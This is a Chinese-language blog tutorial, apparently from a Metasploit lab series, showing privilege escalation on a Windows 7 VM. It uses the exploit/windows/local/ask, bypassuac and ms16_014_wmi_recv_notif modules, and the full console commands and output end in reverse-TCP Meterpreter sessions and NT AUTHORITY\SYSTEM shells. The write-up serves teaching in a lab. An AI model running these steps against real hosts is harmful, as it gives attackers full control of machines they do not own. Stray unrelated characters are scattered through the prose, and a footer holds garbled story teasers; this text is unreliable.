MSF內(nèi)網(wǎng)滲透系列2-權(quán)限提升

在上篇文章中伏蚊,通過win7運行msf.exe泳唠,kali接收到一個session醒陆,但這個session權(quán)限只是普通權(quán)限,無法做更多的操作葫掉。
權(quán)限提升
1.提高程序運行級別
2.UAC繞過
3.利用提權(quán)漏洞進行提權(quán)

提高程序運行級別
msf模塊>exploit/windows/local/ask
但會觸發(fā)UAC些举,只有當(dāng)用戶同意是才能獲得更高權(quán)限

  5         meterpreter x64/windows  win7-PC\win7 @ WIN7-PC         192.168.159.149:4444 -> 192.168.159.145:49248 (192.168.159.145)

msf5 exploit(multi/handler) > sessions -i 5
[*] Starting interaction with 5...

meterpreter > getuid
Server username: win7-PC\win7
meterpreter > background
[*] Backgrounding session 5...
msf5 exploit(multi/handler) > use exploit/windows/local/ask 
msf5 exploit(windows/local/ask) > info

       Name: Windows Escalate UAC Execute RunAs
     Module: exploit/windows/local/ask
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-01-03

Provided by:
  mubix <mubix@hak5.org>
  b00stfr3ak

Available targets:
  Id  Name
  --  ----
  0   Windows

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  FILENAME   QQ.exe           no        File name on disk
  PATH                        no        Location on disk, %TEMP% used if not set
  SESSION    1                yes       The session to run this module on.
  TECHNIQUE  EXE              yes       Technique to use (Accepted: PSH, EXE)

Payload information:

Description:
  This module will attempt to elevate execution level using the 
  ShellExecute undocumented RunAs flag to bypass low UAC settings.

msf5 exploit(windows/local/ask) > 

可以看到session 5只是普通權(quán)限,這時候利用ask模塊進行提權(quán)俭厚,該模塊需要設(shè)置要用來提權(quán)的session户魏,以及啟動程序的名稱

msf5 exploit(windows/local/ask) > set session 5
session => 5
msf5 exploit(windows/local/ask) > set filename execl.exe
filename => execl.exe
msf5 exploit(windows/local/ask) > 

ask模塊設(shè)置完成后,就可以使用了挪挤,運行exploit叼丑,回到win7,可以看見彈出一個execl.exe程序框扛门,如果你點擊是鸠信,則kali會獲得一個新的session,如果點擊否论寨,則kali會得到失敗信息星立。

msf5 exploit(windows/local/ask) > exploit

[*] Started reverse TCP handler on 192.168.159.149:4444 
[*] UAC is Enabled, checking level...
[*] The user will be prompted, wait for them to click 'Ok'
[*] Uploading execl.exe - 73802 bytes to the filesystem...
[*] Executing Command!

Win7 截圖:


image.png

win7 點擊 否,kali返回信息:

msf5 exploit(windows/local/ask) > exploit

[*] Started reverse TCP handler on 192.168.159.149:4444 
[*] UAC is Enabled, checking level...
[*] The user will be prompted, wait for them to click 'Ok'
[*] Uploading execl.exe - 73802 bytes to the filesystem...
[*] Executing Command!
[-] Exploit failed [timeout-expired]: Timeout::Error execution expired
[*] Exploit completed, but no session was created.
msf5 exploit(windows/local/ask) > 

win7 點擊 是葬凳,kali獲取到新的session

msf5 exploit(windows/local/ask) > exploit

[*] Started reverse TCP handler on 192.168.159.149:4444 
[*] UAC is Enabled, checking level...
[*] The user will be prompted, wait for them to click 'Ok'
[*] Uploading execl.exe - 73802 bytes to the filesystem...
[*] Executing Command!
[*] Sending stage (180291 bytes) to 192.168.159.145
[*] Meterpreter session 6 opened (192.168.159.149:4444 -> 192.168.159.145:49249) at 2020-07-10 15:30:43 +0800
meterpreter > 

使用background退出這個meterpreter
使用sessions绰垂,查看session
使用sessions -i 6,進入新獲取的session
使用getuid查看該session權(quán)限
發(fā)現(xiàn)還是普通權(quán)限
這時候使用getsystem火焰,獲得系統(tǒng)權(quán)限
再使用getuid查看

msf5 exploit(windows/local/ask) > sessions

Active sessions
===============

  Id  Name  Type                     Information             Connection
  --  ----  ----                     -----------             ----------
  5         meterpreter x64/windows  win7-PC\win7 @ WIN7-PC  192.168.159.149:4444 -> 192.168.159.145:49248 (192.168.159.145)
  6         meterpreter x64/windows  win7-PC\win7 @ WIN7-PC  192.168.159.149:4444 -> 192.168.159.145:49249 (192.168.159.145)

msf5 exploit(windows/local/ask) > sessions -i 6
[*] Starting interaction with 6...

meterpreter > getuid
Server username: win7-PC\win7
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 

UAC繞過
msf模塊
exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_injection
exploit/windows/local/bypassuac_vbs

這里使用第一個模塊進行繞過UAC提權(quán)

msf5 > use exploit/windows/local/bypassuac
使用bypassuac模塊
msf5 exploit(windows/local/bypassuac) > set session 5
session => 5
設(shè)置需要提權(quán)的session
msf5 exploit(windows/local/bypassuac) > exploit

[*] Started reverse TCP handler on 192.168.159.149:4444 
[*] UAC is Enabled, checking level...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[+] Part of Administrators group! Continuing...
[*] Uploaded the agent to the filesystem....
[*] Uploading the bypass UAC executable to the filesystem...
[*] Meterpreter stager executable 73802 bytes long being uploaded..
[*] Sending stage (180291 bytes) to 192.168.159.145
[*] Meterpreter session 7 opened (192.168.159.149:4444 -> 192.168.159.145:49250) at 2020-07-10 16:00:14 +0800
獲得新的session
meterpreter > getuid
Server username: win7-PC\win7
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
成功提權(quán)

利用提權(quán)漏洞進行提權(quán)
exploit/windows/local/ms14_058_track_popup_menu
等等
這里使用
exploit/windows/local/ms16_014_wmi_recv_notif
這個模塊劲装,同樣使用info和show options查看信息,只需要設(shè)置一個session就可以使用
攻擊成功會直接返回一個shell,使用whoami查看權(quán)限

msf5 exploit(windows/local/ms16_014_wmi_recv_notif) > show options

Module options (exploit/windows/local/ms16_014_wmi_recv_notif):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.


Exploit target:

   Id  Name
   --  ----
   0   Windows 7 SP0/SP1


msf5 exploit(windows/local/ms16_014_wmi_recv_notif) > set session 8
session => 8
msf5 exploit(windows/local/ms16_014_wmi_recv_notif) > sessions

Active sessions
===============

  Id  Name  Type                     Information             Connection
  --  ----  ----                     -----------             ----------
  8         meterpreter x64/windows  win7-PC\win7 @ WIN7-PC  192.168.159.149:4444 -> 192.168.159.145:49251 (192.168.159.145)

msf5 exploit(windows/local/ms16_014_wmi_recv_notif) > exploit

[*] Started reverse TCP handler on 192.168.159.149:4444 
[*] Launching notepad to host the exploit...
[+] Process 1820 launched.
[*] Reflectively injecting the exploit DLL into 1820...
[*] Injecting exploit into 1820...
[*] Exploit injected. Injecting payload into 1820...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Command shell session 9 opened (192.168.159.149:4444 -> 192.168.159.145:49255) at 2020-07-10 16:29:00 +0800

C:\Users\win7\Desktop>whoami
whoami
nt authority\system

C:\Users\win7\Desktop>


成功提權(quán)

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末占业,一起剝皮案震驚了整個濱河市绒怨,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌纺酸,老刑警劉巖窖逗,帶你破解...
    沈念sama閱讀 211,884評論 6 492
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異餐蔬,居然都是意外死亡,警方通過查閱死者的電腦和手機佑附,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,347評論 3 385
  • 文/潘曉璐 我一進店門樊诺,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人音同,你說我怎么就攤上這事词爬。” “怎么了权均?”我有些...
    開封第一講書人閱讀 157,435評論 0 348
  • 文/不壞的土叔 我叫張陵顿膨,是天一觀的道長。 經(jīng)常有香客問我叽赊,道長恋沃,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 56,509評論 1 284
  • 正文 為了忘掉前任必指,我火速辦了婚禮囊咏,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘塔橡。我一直安慰自己梅割,他們只是感情好,可當(dāng)我...
    茶點故事閱讀 65,611評論 6 386
  • 文/花漫 我一把揭開白布葛家。 她就那樣靜靜地躺著户辞,像睡著了一般。 火紅的嫁衣襯著肌膚如雪癞谒。 梳的紋絲不亂的頭發(fā)上底燎,一...
    開封第一講書人閱讀 49,837評論 1 290
  • 那天,我揣著相機與錄音扯俱,去河邊找鬼书蚪。 笑死,一個胖子當(dāng)著我的面吹牛迅栅,可吹牛的內(nèi)容都是我干的殊校。 我是一名探鬼主播,決...
    沈念sama閱讀 38,987評論 3 408
  • 文/蒼蘭香墨 我猛地睜開眼读存,長吁一口氣:“原來是場噩夢啊……” “哼为流!你這毒婦竟也來了呕屎?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 37,730評論 0 267
  • 序言:老撾萬榮一對情侶失蹤敬察,失蹤者是張志新(化名)和其女友劉穎秀睛,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體莲祸,經(jīng)...
    沈念sama閱讀 44,194評論 1 303
  • 正文 獨居荒郊野嶺守林人離奇死亡蹂安,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 36,525評論 2 327
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了锐帜。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片田盈。...
    茶點故事閱讀 38,664評論 1 340
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖缴阎,靈堂內(nèi)的尸體忽然破棺而出允瞧,到底是詐尸還是另有隱情,我是刑警寧澤蛮拔,帶...
    沈念sama閱讀 34,334評論 4 330
  • 正文 年R本政府宣布述暂,位于F島的核電站,受9級特大地震影響建炫,放射性物質(zhì)發(fā)生泄漏畦韭。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 39,944評論 3 313
  • 文/蒙蒙 一踱卵、第九天 我趴在偏房一處隱蔽的房頂上張望廊驼。 院中可真熱鬧,春花似錦惋砂、人聲如沸妒挎。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,764評論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽酝掩。三九已至,卻和暖如春眷柔,著一層夾襖步出監(jiān)牢的瞬間期虾,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 31,997評論 1 266
  • 我被黑心中介騙來泰國打工驯嘱, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留镶苞,地道東北人。 一個月前我還...
    沈念sama閱讀 46,389評論 2 360
  • 正文 我出身青樓鞠评,卻偏偏與公主長得像茂蚓,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 43,554評論 2 349